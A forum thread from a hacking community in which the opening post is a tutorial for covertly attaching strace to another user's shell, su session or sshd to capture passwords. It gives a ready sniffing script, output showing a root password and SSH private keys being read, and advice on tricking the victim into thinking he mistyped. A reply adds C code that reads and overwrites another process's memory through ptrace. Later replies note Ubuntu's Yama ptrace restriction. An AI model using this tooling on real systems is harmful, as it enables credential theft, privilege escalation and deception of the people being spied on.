Author Topic: Reading processes using strace(for passwords)  (Read 6170 times)

0 Members and 1 Guest are viewing this topic.

Offline xzid

  • Knight
  • **
  • Posts: 329
  • Cookies: 41
    • View Profile
Reading processes using strace(for passwords)
« on: August 26, 2011, 04:08:53 am »
I think the coolest feature of unix is that everything is done through files. Be it reading a text file or sending data through a socket, or even devices, to access them they we all use the same functions mainly read() and write(). read/write are system calls on linux, unlike the higher level functions such as printf(or any other high-level print function)... Which all use write.

A tool called strace is used to monitor processes for system calls, the C function that allows it to do this is ptrace()[which is a system call itself]. There are ptrace packages available for languages like perl/python if you wish to write your own raw process tracer, although C is recommended.

As a quick example, let's take a simple python file and trace it.
Code: [Select]
#!/usr/bin/python

f = open('/tmp/myfile.txt', 'w')
f.write('hello world, hax me\n')
f.close()

Now let's test it:
Code: [Select]
xg@localhost ~ $ ./test.py
xg@localhost ~ $ cat /tmp/myfile.txt
hello world, hax me

Alright working fine, now let's use strace to see what it's doing when it's running(I cut out alot of system calls, generated by the python interpreter).
Code: [Select]
xg@localhost ~ $ strace -e trace=open,write,close "./test.py"
-- Alot of open() calls for python libraries --
...
open("/tmp/myfile.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
write(3, "hello world, hax me\n", 20)   = 20
close(3)                                = 0

So cool we found the text "hello world, hax me\n"! Now most data used by a program(unless built-in) will be read from a file, or socket. So we will be able to find it using strace.

At bottom of tutorial is a short perl/bash code I wrote to simplify the output, it uses ">>" for output from process(write, also send), "<<" for input into process(read, recv) and "&&" for execve(executing a file).

Now let's see how we can use this to find passwords, let's start with a regular(non-root) user. Let's say we have shell access to someone's user, and that user is currently logged in and using a shell himself(bash).

So let's spy on him by tracing his bash process, first we need to find his process.
Code: [Select]
xg@localhost ~ $ # first let's get our shell
xg@localhost ~ $ echo $$
964
xg@localhost ~ $ # now let's find all bash processes
xg@localhost ~ $ ps -F -U `whoami` | grep bash
xg         15037   946  0  4449  1888   0 12:39 pts/0    00:00:00 bash
xg         964     963  0  4448  1864   0 12:39 pts/1    00:00:00 /bin/bash

So we know his shell is pid "15037".

This will be his short session:
Code: [Select]
xg@localhost ~ $ ls /
xg@localhost ~ $ su
password: [myrootpassword]

Now here's what we'll see:
Code: [Select]
xg@localhost ~ $ ./strace.sh -p 15037
strace'ing [15037] ...
Process 15037 attached - interrupt to quit
<<  l
>>  l
<<  s
>>  s
<<  /
>>  /
<<  \r
>> 

clone(Process 15089 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f56f54b09d0) = 15089
Process 15037 suspended
&&  /bin/ls
<<   ELF >
<<   ELF > @
<<   ELF > @ @ @ 8 @ E D @ @ @ h h # # # t t 5 5 F h @ @ 5 @ 5 5 5 h P td # # # g g Q td R td 5 5 8 8 e ( GNU 0 D E ` D2 .@ P4,
<<   ELF > \ @ @ 8 @ $ ! @ @ @ 0 0 <n <n { {! {! G } }! }! p p p P td < < < < < Q td R td { {! {! H H e ( GNU O # @@a Q 0D A @ -l@g V $H P( B ZdA c @ 9 ( @ @ ( D Q B 8A 0 `
<<   ELF > @ B @ 8 @ : : = = = > > > P td 5 5 5 Q td R td = = = @ @ e ( k ; # ) : % 2 3 5 $ 9
>>   bin dev home lib32 lost+found mnt proc sbin tmp var
>>   boot etc lib lib64 media opt root sys usr
Process 15037 resumed
Process 15089 detached
--- SIGCHLD (Child exited) @ 0 (0) ---
>>   ]0;xg@localhost:~
>>   [01;32mxg@localhost [01;34m ~ $ [00m
<<  s
>>  s
<<  u
>>  u
<<  \r
>> 

clone(Process 15090 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f56f54b09d0) = 15090
Process 15037 suspended
&&  /bin/su
<<   ELF > ( @ @ 8 @ h h h P td \ \ Q td R td h h h e ( f \ 5 H 2 S ' 4 F K - ( 9 ] 6 E * ^ Y ? ! @ O c / Z M 0 C 3 ) X W 7
<<   ELF > 0 @ 1 @ 8 @ - - - H - - - P td L L Q td R td - - - p p e ( 7 ) ' ! % & $ (
<<   ELF > @ @ @ 8 @ E D @ @ @ h h # # # t t 5 5 F h @ @ 5 @ 5 5 5 h P td # # # g g Q td R td 5 5 8 8 e ( GNU 0 D E ` D2 .@ P4,
<<   ELF > @ p1 @ 8 @ @ @ @ 0 0 x x h- h- h- - - - p p p P td Q td R td h- h- h- e ( GNU H @ ( !
<<  # /etc/nsswitch.conf:

-- Alot of configuration files being read by su --

>>  Password:
<<  myrootpassword

-- Found the password !!! --

>> 

[pid 15090] clone(Process 15092 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f1c153d29d0) = 15092
>>  myrootpassword
Process 15090 suspended
&&  /sbin/unix_chkpwd
<<   ELF > ` @ h @ 8 @ @ @ @ 0 0 v v v h} h} } } } } } } p p p P td <v <v <v Q td R td } } } 0 0 e ( GNU I ,$ k Qj ( B ` ? I-> C _ sB H k
<<   ELF > @ @ @ 8 @ E D @ @ @ h h # # # t t 5 5 F h @ @ 5 @ 5 5 5 h P td # # # g g Q td R td 5 5 8 8 e ( GNU 0 D E ` D2 .@ P4,

-- more data --

<<  myrootpassword
<<  TZif2 EST TZif2 EST EST5
<<  TZif2 EST EST5
Process 15090 resumed
Process 15092 detached
[pid 15090] --- SIGCHLD (Child exited) @ 0 (0) ---
<<   rc VN
<<   3N ~ ~~ runlevel VNh
<<   l3 VN$
<<   tty5 c5 LOGIN VN
<<   tty6 c6 LOGIN VN&

-- and even more data --

Note that you will receive his password, but his login session will fail. Make the script quit here, he'll think he misstyped. Then it will succesfully work the 2nd time.

This will also work with sudo, ssh/ftp client or w/e. So long as you have permissions on the process. Now let's try one more example this time as root, let's spy on sshd. Someone will connect and try to login as root:

Code: [Select]
localhost xg # ./strace.sh -n sshd
strace'ing sshd[990] ...
Process 990 attached - interrupt to quit
clone(Process 15152 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fa2ee67a9d0) = 15152
>>   PasswordAuthentication no UsePAM yes PrintMotd no PrintLastLog no Subsystem sftp /usr/lib64/misc/sftp-server
>>  0

&&  /usr/sbin/sshd
<<   ELF > 1 @ @ 8 @ w w } } } } } } P td
 
 
 Q td R td } } } h h e ( } i r . ^ D @ 1 z G h 2 I & V = H 5
<<   ELF > ( @ @ 8 @ h h h P td \ \ Q td R td h h h e ( f \ 5 H 2 S ' 4 F K - ( 9 ] 6 E * ^ Y ? ! @ O c / Z M 0 C 3 ) X W 7
<<   ELF > T @ G @ 8 @ @! @!8 @!8 % ` 9 9 P td | | | Q td R td @! @!8 @!8 e ( t 7 u ~ - @ ? c D ] > o D Y L - R G { , w 2 i - q v I * > m k ! U N = } r m K X
<<   ELF > # @ r @ 8 @ D_ D_ l l! l! 0 m m! m! P td N N N \ \ Q td R td l l! l! @ @ e ( f _ 8 b c ? . Z Y F M 4 G 0 T & R U e A ( J K E 3 L < O Q [ \ ,
<<   ELF > @ ! @ 8 @ @ @ @ 0 0 @ @ p p p P td D D Q td R td e ( GNU
<<   ELF > ` @ h @ 8 @ @ @ @ 0 0 v v v h} h} } } } } } } p p p P td <v <v <v Q td R td } } } 0 0 e ( GNU I ,$ k Qj ( B ` ? I-> C _ sB H k
<<   ELF > \ @ @ 8 @ $ ! @ @ @ 0 0 <n <n { {! {! G } }! }! p p p P td < < < < < Q td R td { {! {! H H e ( GNU O # @@a Q 0D A @ -l@g V $H P( B ZdA c @ 9 ( @ @ ( D Q B 8A 0 `
<<   ELF > @ @ @ 8 @ E D @ @ @ h h # # # t t 5 5 F h @ @ 5 @ 5 5 5 h P td # # # g g Q td R td 5 5 8 8 e ( GNU 0 D E ` D2 .@ P4,
<<   ELF > @ p1 @ 8 @ @ @ @ 0 0 x x h- h- h- - - - p p p P td Q td R td h- h- h- e ( GNU H @ ( !
<<   PasswordAuthentication no UsePAM yes PrintMotd no PrintLastLog no Subsystem sftp /usr/lib64/misc/sftp-server
<<  g Q [ gx F + *J ]
<<  # Configuration for getaddrinfo(3).

-- Several configuration files used by SSHD --

<<   ELF > p! @ H @ 8 @ @ @ @ 0 0 p p p P td , , , Q td R td 0 0 e ( GNU k 0 F z ] Jx 0* $ ! )
<<  -----BEGIN RSA PRIVATE KEY-----
MIIEpgIBAAKCAQEAzvYkWYUZ0ktX77Hi5PZT5pzbaDf/nuU6MYUIyLMtDsY0SGiC
AykAT9rtdleEjQLdSS5muUZS6qa+ou+j0Z6Jeqy7Oq9cXx9N0/evgd3qDCe2WXSd
TpJXx4OhnwHfkqyQLLCJPobCfOuCQqilgCOuXz7kJV+thkcFK45rqJwPj99BewiA
GZnhizgukS+v2yzLo0A144jDQP1ve0zxY2Fut4OxaXblpiVvqoUtTurAWU42cNmj
DwafktRf7CecOlJHvSRZ1aEddvEPPZTXK89WTZpCSaorF3WG4VJ4MAJAU9Zdw9Ph
G2aMgMhz11nKN1lGZScKpXapwPgRXabgcEHPdwIDAQABAoIBAQCtCSr3FcuzAX9y
Tp5PpIwdggQHrNox9aGkCYCAnR4M/jZ0W7xn+/3gxkBH84BFjaGKMBt+yIdG3UcC
X63t8skrIgQgWsG2XivqD2pUAEBRDVrujAuBx+VQUIPut9g/f7vDQY5eErnFS/rK
1Moayrpds+14OfiRDgwKkLb+cAyq0hN/ZusiyFIPjg523QcfWN8gCrW1EESdaUSF
jLucRCBLp4jscuwUyF4UwWSelyraKrafkpscQHOk3YTDNNHANnxlccDPFXXM9RZW
Y+3h95nAmBVHt3bN+HOu1SgsNoTtVxd4U67ctxkera1g7AnCNaW9Nmvo9+F0nAXM

-----END RSA PRIVATE KEY-----

<<  -----BEGIN DSA PRIVATE KEY-----
MIIBvAIBAAKBgQD7dK+nrGrlns0GfRr2R4pJdwJXXgWa85iAmksWilHW7kuHhpcV
JsxnFBC2ccO7iqIJX0ujFWxxNBq5dV4XTkWq0dqsdh9HqgrUxYekoEjocX7akkOi
7eXKyM4jjM3n5HPj/ViXVlwu7oDR2LQIVAN56GmVr9YhGKKUtKxFNoimU8eyBc8q
I0aoiG2+2OIWjW+GVDw/Td5bZAoGBAN2YoqiI0aoiG2+2OIWjWuCEyFnyctlBkId
V0zK6qBccr399OrwP9/ui6rknP/48HCQqWaVAAzqUsrrqrmH1sbeLLcWqbscen5s
ZfqHOfBozOvDUZD0KYRy1VjYrT75gUmtAT7gD2zZcJZ6hpz54BG9MUL9wQLKml0l
ontFzO==
-----END DSA PRIVATE KEY-----

<<  -----BEGIN EC PRIVATE KEY-----
MHcpuvFWa+ANjj6o67wS2uGoKwQu/oAoGCCqGSM49CAQEEIEQVuLjU4kCtC59Q17
AwEHoUQDQgA==
-----END EC PRIVATE KEY-----

-- Another Configuration File --

>>  SSH-2.0-OpenSS[pid 15152] clone(Process 15153 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f3ebf8109d0) = 15153
H_5.8p1-hpn13v10\r

<<  S
<<  S
<<  H
<<  -
<<  2
<<  .
<<  0
<<  -
<<  O
<<  p
<<  e
<<  n
<<  S
<<  S
<<  H
<<  _
<<  5
<<  .
<<  8
<<  p
<<  1
<<  -
<<  h
<<  p
<<  n
<<  1
<<  3
<<  v
<<  1
<<  0
<<  \r
<< 

<<  TZif2 EST TZif2 EST EST5
<<  TZif2 EST EST5
>>   T a) i f H ecdh-sha2-nistp256,ecdh-sha2-nistp384, -- very long line
 Z D = B ecdh-sha2-nistp256,ecdh-sha2-nistp384, -- very long line
>>   i
>>   d ecdsa-sha2-nistp256 I ! m c L #{ c }+ A d i 7_ &c b Ame */![o
<<   i
<<   d ecdsa-sha2-nistp256 I ! m c L #{ c }+ A d i 7_ &c b Ame */![o
>>   $ h ecdsa-sha2-nistp256 nistp256 A + R x $ :;M O \ Qb ]
<<   l W E y N K m j /^ c
>>   H qOv f * , ~L V -$ C _~V- V
<<  Ne z = + ` X4~!K Q=U eD > w $ +_0H | n |p
<<   root
<<  # /etc/protocols

-- Several More configuration Files  & Junk Data--

/bin/sash
/bin/sh
/bin/tcsh
/bin/zsh

<<  3
>>   2 : : A{y I < R u + \x % S v&7% 0c rn ] . p
<<   & b R f B ^ . p jp ! IF 3 wX ^ U 2$ 6F
>>   4
<<   myrootpassword
>>   2
<<  2
<<   rc VN
<<   3N ~ ~~ runlevel VNh
<<   l3 VN$
<<   tty5 c5 LOGIN VN
<<   tty6 c6 LOGIN VN&
<<   tty4 c4 LOGIN VN
<<   tty3 c3 LOGIN VN

-- More Data --


We found the password! Y'know after going through hundreds of lines of crap data.

For more info, just look into strace, ptrace & linux C/ASM programming.

Code: [Select]
#!/bin/bash

# perl code used to modify strace output
mk-output()
    {
    perl -e '
    sub tochar
        {
        $x = hex($_[0]);
        return chr($x) if($x >= 32 and $x <= 126);
        return " ";
        }

    while(<>)
        {
        # allow regular strace non-RD/WR/XC output
        if(!m/(read|write|recv|send|execve)/)
            {
            print STDERR $_;
            next;
            }

        # do not print unfinished/resumed output
        next if(m/<unfinished/ or m/resumed>/);

        # replace hex with char/spaces
        s/\\x([0-f]{2})/tochar($1)/eg;

        # remove double spaces
        s/\s+/ /g;

        # find out if is read, write or execute
        $x = (m/(write|send)\(/) ? ">> " : (m/(read|recv)\(/) ? "<< " : "&& ";

        # find the 1st string argument
        s/.*?"(.*?)".*/$1/;

        # substitute new lines/tabs
        s/\\n/\n/g; s/\\t/\t/g;

        # print if has ascii
        print "$x $_\n" if($_ ne " " and $_ ne "");
        }'
    }

usage()
    {
    printf  "use:\n\t$0 [-p <pid> | -n <name>]\n"
    exit 1
    }

# parse command line arguments
while getopts "p:n:h" opt; do case $opt in
    p  ) target_pid=$OPTARG ;;
    n  ) target_name=$OPTARG ;;
    h  ) usage ;;
    \? ) usage ;;
esac; done


# find pid of $target_name
if [ -n "$target_name" ]; then
    target_pid=`pgrep "$target_name" | head -1`
fi

# error, no pid
if [ -z "$target_pid" ]; then
    usage
fi

echo "strace'ing $target_name[$target_pid] ..."

# now call strace
strace -p "$target_pid" -f -x -s 2048 \
    -e trace=fork,clone,read,write,recv,send,execve 2>&1 | \
    mk-output


Offline ca0s

  • VIP
  • Sir
  • *
  • Posts: 432
  • Cookies: 53
    • View Profile
    • ka0labs #
Re: Reading processes using strace(for passwords)
« Reply #1 on: August 26, 2011, 01:27:26 pm »
Very very nice. Thanks for sharing.

Offline Stackprotector

  • Administrator
  • Titan
  • *
  • Posts: 2515
  • Cookies: 205
    • View Profile
Re: Reading processes using strace(for passwords)
« Reply #2 on: August 26, 2011, 01:32:07 pm »
Worth reading people!! :), +1
~Factionwars

Offline hacker@sr.gov.yu

  • VIP
  • Peasant
  • *
  • Posts: 142
  • Cookies: 25
  • Tools don't make hackers, hackers make tools!
    • View Profile
Re: Reading processes using strace(for passwords)
« Reply #3 on: August 26, 2011, 02:00:06 pm »
Interesting... Thanks +1

xor

  • Guest
Re: Reading processes using strace(for passwords)
« Reply #4 on: August 26, 2011, 06:03:26 pm »
Here I was thinking strace required root privs. nice one :)


[Edit] - Actually ptrace shows an operation not permitted if I don't have root privs.
« Last Edit: August 26, 2011, 06:16:36 pm by xor »

Offline ca0s

  • VIP
  • Sir
  • *
  • Posts: 432
  • Cookies: 53
    • View Profile
    • ka0labs #
Re: Reading processes using strace(for passwords)
« Reply #5 on: August 26, 2011, 07:05:44 pm »
@xor: it depends on the process you are trying to ptrace. I have had no problems ptracing a process of user "ca0s" from a program running as "ca0s".

Try this:
Code: [Select]
#include <stdio.h>
#include <sys/ptrace.h>
#include <dirent.h>
#include <stdlib.h>
#include <sys/reg.h>
#include <sys/user.h>

#include "scalls.h"

void clean(void);
int findPidByComm(char *);

int pid=-1;

int main(int argc, char *argv[])
{
  atexit(clean);
  printf("Proceso: %s - Pid: %i\n", argv[1], findPidByComm(argv[1]));
  pid=findPidByComm(argv[1]);
  int status, c;
  long ret, ret2;
  long arg1, arg2, arg3;
  char *str;
  ptrace(PTRACE_ATTACH, pid, NULL, NULL);
 
  char reemp[]=0x00004141;
 
  while(1)
  {
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
wait(&status);
ret=ptrace(PTRACE_PEEKUSER, pid, ORIG_RAX*8, NULL);
if(ret==1)
{
  printf("Syscall: %i -> write\n", ret);
  arg1=ptrace(PTRACE_PEEKUSER, pid, 8 * RDI, NULL);
  arg2=ptrace(PTRACE_PEEKUSER, pid, 8 * RSI, NULL);
  arg3=ptrace(PTRACE_PEEKUSER, pid, 8 * RDX, NULL);
  printf("ARGS -> RBX: %X - RCX: %X - RDX: %X\n", arg1, arg2, arg3);
  str=malloc(arg3);
  memset(str, 0, arg3);
  for(c=0; c<=arg3;)
  {
ret2=ptrace(PTRACE_PEEKDATA, pid, arg2+c, NULL);
memcpy(str+c*sizeof(long), &ret2, sizeof(long));
c+=sizeof(long);
  }
  printf("Texto: %s\n", str);
  ;ptrace(PTRACE_POKEDATA, pid, arg2, reemp);
  free(str);
}
else printf("Syscall: %i -> %s\n", ret, syscalls[ret]);
  }
 
  ptrace(PTRACE_DETACH, pid, NULL, NULL);
  return 0;
}


int findPidByComm(char *name)
{
  DIR *procs=opendir("/proc");
  if(!procs) return -1;
  struct dirent *pDir=NULL, *process=NULL;
  FILE *shit=NULL;
  char path[256];
  char comm[256];
  while((pDir=readdir(procs))!=NULL)
  {
if((strcmp(pDir->d_name, ".")==0) || (strcmp(pDir->d_name, "..")==0)) continue;
memset(path, 0, 256);
strcat(path, "/proc/");
strcat(path, pDir->d_name);
strcat(path, "/comm");
// printf("/proc/%s\n", pDir->d_name);
shit=fopen(path, "r");
if(shit)
{
  fscanf(shit, "%s", comm);
  fclose(shit);
  if(strcmp(comm, name)==0)
  {
closedir(procs);
return atoi(pDir->d_name);
  }
  // printf("\t%s\n", comm);
}
  }
  closedir(procs);
  return -1;
}

void clean(void)
{
  ptrace(PTRACE_DETACH, pid, NULL, NULL);
}

//  scalls.h
char* syscalls[] = {
"read",
"write",
"open",
"close",
"stat",
"fstat",
"lstat",
"poll",
"lseek",
"mmap",
"mprotect",
"munmap",
"brk",
"rt_sigaction",
"rt_sigprocmask",
"rt_sigreturn",
"ioctl",
"pread",
"pwrite",
"readv",
"writev",
"access",
"pipe",
"select",
"sched_yield",
"mremap",
"msync",
"mincore",
"madvise",
"shmget",
"shmat",
"shmctl",
"dup",
"dup2",
"pause",
"nanosleep",
"getitimer",
"alarm",
"setitimer",
"getpid",
"sendfile",
"socket",
"connect",
"accept",
"sendto",
"recvfrom",
"sendmsg",
"recvmsg",
"shutdown",
"bind",
"listen",
"getsockname",
"getpeername",
"socketpair",
"setsockopt",
"getsockopt",
"clone",
"fork",
"vfork",
"execve",
"_exit",
"wait4",
"kill",
"uname",
"semget",
"semop",
"semctl",
"shmdt",
"msgget",
"msgsnd",
"msgrcv",
"msgctl",
"fcntl",
"flock",
"fsync",
"fdatasync",
"truncate",
"ftruncate",
"getdents",
"getcwd",
"chdir",
"fchdir",
"rename",
"mkdir",
"rmdir",
"creat",
"link",
"unlink",
"symlink",
"readlink",
"chmod",
"fchmod",
"chown",
"fchown",
"lchown",
"umask",
"gettimeofday",
"getrlimit",
"getrusage",
"sysinfo",
"times",
"ptrace",
"getuid",
"syslog",
"getgid",
"setuid",
"setgid",
"geteuid",
"getegid",
"setpgid",
"getppid",
"getpgrp",
"setsid",
"setreuid",
"setregid",
"getgroups",
"setgroups",
"setresuid",
"getresuid",
"setresgid",
"getresgid",
"getpgid",
"setfsuid",
"setfsgid",
"getsid",
"capget",
"capset",
"rt_sigpending",
"rt_sigtimedwait",
"rt_sigqueueinfo",
"rt_sigsuspend",
"sigaltstack",
"utime",
"mknod",
"uselib",
"personality",
"ustat",
"statfs",
"fstatfs",
"sysfs",
"getpriority",
"setpriority",
"sched_setparam",
"sched_getparam",
"sched_setscheduler",
"sched_getscheduler",
"sched_get_priority_max",
"sched_get_priority_min",
"sched_rr_get_interval",
"mlock",
"munlock",
"mlockall",
"munlockall",
"vhangup",
"modify_ldt",
"pivot_root",
"_sysctl",
"prctl",
"arch_prctl",
"adjtimex",
"setrlimit",
"chroot",
"sync",
"acct",
"settimeofday",
"mount",
"umount",
"swapon",
"swapoff",
"reboot",
"sethostname",
"setdomainname",
"iopl",
"ioperm",
"create_module",
"init_module",
"delete_module",
"get_kernel_syms",
"query_module",
"quotactl",
"nfsservctl",
"getpmsg",
"putpmsg",
"afs_syscall",
"tuxcall",
"security",
"gettid",
"readahead",
"setxattr",
"lsetxattr",
"fsetxattr",
"getxattr",
"lgetxattr",
"fgetxattr",
"listxattr",
"llistxattr",
"flistxattr",
"removexattr",
"lremovexattr",
"fremovexattr",
"tkill",
"time",
"futex",
"sched_setaffinity",
"sched_getaffinity",
"set_thread_area",
"io_setup",
"io_destroy",
"io_getevents",
"io_submit",
"io_cancel",
"get_thread_area",
"lookup_dcookie",
"epoll_create",
"epoll_ctl_old",
"epoll_wait_old",
"remap_file_pages",
"getdents64",
"set_tid_address",
"restart_syscall",
"semtimedop",
"fadvise64",
"timer_create",
"timer_settime",
"timer_gettime",
"timer_getoverrun",
"timer_delete",
"clock_settime",
"clock_gettime",
"clock_getres",
"clock_nanosleep",
"exit_group",
"epoll_wait",
"epoll_ctl",
"tgkill",
"utimes",
"vserver",
"mbind",
"set_mempolicy",
"get_mempolicy",
"mq_open",
"mq_unlink",
"mq_timedsend",
"mq_timedreceive",
"mq_notify",
"mq_getsetattr",
"kexec_load",
"waitid",
"add_key",
"request_key",
"keyctl",
"ioprio_set",
"ioprio_get",
"inotify_init",
"inotify_add_watch",
"inotify_rm_watch",
"migrate_pages",
"openat",
"mkdirat",
"mknodat",
"fchownat",
"futimesat",
"newfstatat",
"unlinkat",
"renameat",
"linkat",
"symlinkat",
"readlinkat",
"fchmodat",
"faccessat",
"pselect6",
"ppoll",
"unshare",
"set_robust_list",
"get_robust_list",
"splice",
"tee",
"sync_file_range",
"vmsplice",
"move_pages",
"utimensat",
"epoll_pwait",
"signalfd",
"timerfd_create",
"eventfd",
"fallocate",
"timerfd_settime",
"timerfd_gettime",
"accept4",
"signalfd4",
"eventfd2",
"epoll_create1",
"dup3",
"pipe2",
"inotify_init1",
"preadv",
"pwritev",
"rt_tgsigqueueinfo",
"perf_event_open",
"recvmmsg",
"fanotify_init",
"fanotify_mark",
"prlimit64"
};
In this:
Code: [Select]
#include <stdio.h>
#include <unistd.h>
int main()
{
  char str[]="Original\n";
  printf("%i\n", getpid());
  while(1)
  {
printf("%s", str);
sleep(2);
  }
}

(64bits code, if you only have a 32bits pc, it needs to be modified...)

Offline xzid

  • Knight
  • **
  • Posts: 329
  • Cookies: 41
    • View Profile
Re: Reading processes using strace(for passwords)
« Reply #6 on: August 26, 2011, 07:12:00 pm »
Just tested bash/su on a few systems original test on my gentoo, works on my fedora core, works on slackware, but on ubuntu I get permission denied.

It's not ptrace that's blocked, it's attaching to a running process without root. I guess ubuntu isn't made to develop, or it's the only one that secure by default.

Which OS did you use?

/etc/sysctl.d/10-ptrace.conf
Code: [Select]
# In general, PTRACE is not needed for the average running Ubuntu system.
# To that end, the default is to set the PTRACE scope to "1".  This value
# may not be appropriate for developers or servers with only admin accounts.
kernel.yama.ptrace_scope = 1

The yama linux security patch for ubuntu:

http://lwn.net/Articles/393012/

Code: [Select]
+config SECURITY_YAMA_PTRACE
+    int "Yama: PTRACE_ATTACH default scope"
+    depends on SECURITY_YAMA
+    range 0 1
+    default 1
+    help
+      This option sets the default scope for PTRACEing of processes.
+
+      One particularly troubling weakness of the Linux process
+      interfaces is that a single user is able to examine the memory and
+      running state of any of their processes. For example, if one
+      application (e.g. Pidgin) was compromised, it would be possible for
+      an attacker to attach to other running processes (e.g. Firefox, SSH
+      sessions, GPG agent, etc) to extract additional credentials and
+      continue to expand the scope of their attack without resorting to
+      user-assisted phishing.
+
+      This scope is designed to disallow such PTRACE attachment when
+      the scope is set to non-zero.
+
+      Scopes are:
+         0 - classic: CAP_SYS_PTRACE and same uid can ptrace non-setuid.
+        1 - restricted: as above, but only children of ptracing process.
« Last Edit: August 26, 2011, 10:44:10 pm by xzid »

Offline xzid

  • Knight
  • **
  • Posts: 329
  • Cookies: 41
    • View Profile
Re: Reading processes using strace(for passwords)
« Reply #7 on: August 26, 2011, 07:17:13 pm »
@ ca0s, yeah I was originally gonna make it in C without use of strace.. But there were differences between 32/64 that sucked, system calls hugely different. So needed 2 huge ass string arrays(same style you used), then some registers were different during system calls.. So would work on 32, but ptrace would fail on 64. Finally I said fuck it I'll do it in bash.
« Last Edit: August 26, 2011, 07:17:56 pm by xzid »

xor

  • Guest
Re: Reading processes using strace(for passwords)
« Reply #8 on: August 27, 2011, 11:59:19 am »
Just tested bash/su on a few systems original test on my gentoo, works on my fedora core, works on slackware, but on ubuntu I get permission denied.

It's not ptrace that's blocked, it's attaching to a running process without root. I guess ubuntu isn't made to develop, or it's the only one that secure by default.

Which OS did you use?

/etc/sysctl.d/10-ptrace.conf
Code: [Select]
# In general, PTRACE is not needed for the average running Ubuntu system.
# To that end, the default is to set the PTRACE scope to "1".  This value
# may not be appropriate for developers or servers with only admin accounts.
kernel.yama.ptrace_scope = 1

The yama linux security patch for ubuntu:

http://lwn.net/Articles/393012/

Code: [Select]
+config SECURITY_YAMA_PTRACE
+    int "Yama: PTRACE_ATTACH default scope"
+    depends on SECURITY_YAMA
+    range 0 1
+    default 1
+    help
+      This option sets the default scope for PTRACEing of processes.
+
+      One particularly troubling weakness of the Linux process
+      interfaces is that a single user is able to examine the memory and
+      running state of any of their processes. For example, if one
+      application (e.g. Pidgin) was compromised, it would be possible for
+      an attacker to attach to other running processes (e.g. Firefox, SSH
+      sessions, GPG agent, etc) to extract additional credentials and
+      continue to expand the scope of their attack without resorting to
+      user-assisted phishing.
+
+      This scope is designed to disallow such PTRACE attachment when
+      the scope is set to non-zero.
+
+      Scopes are:
+         0 - classic: CAP_SYS_PTRACE and same uid can ptrace non-setuid.
+        1 - restricted: as above, but only children of ptracing process.

I'm running Debian Lenny on a VPS and Squeeze on another. I may try it on squeeze. Would be interesting to try on CentOS as well.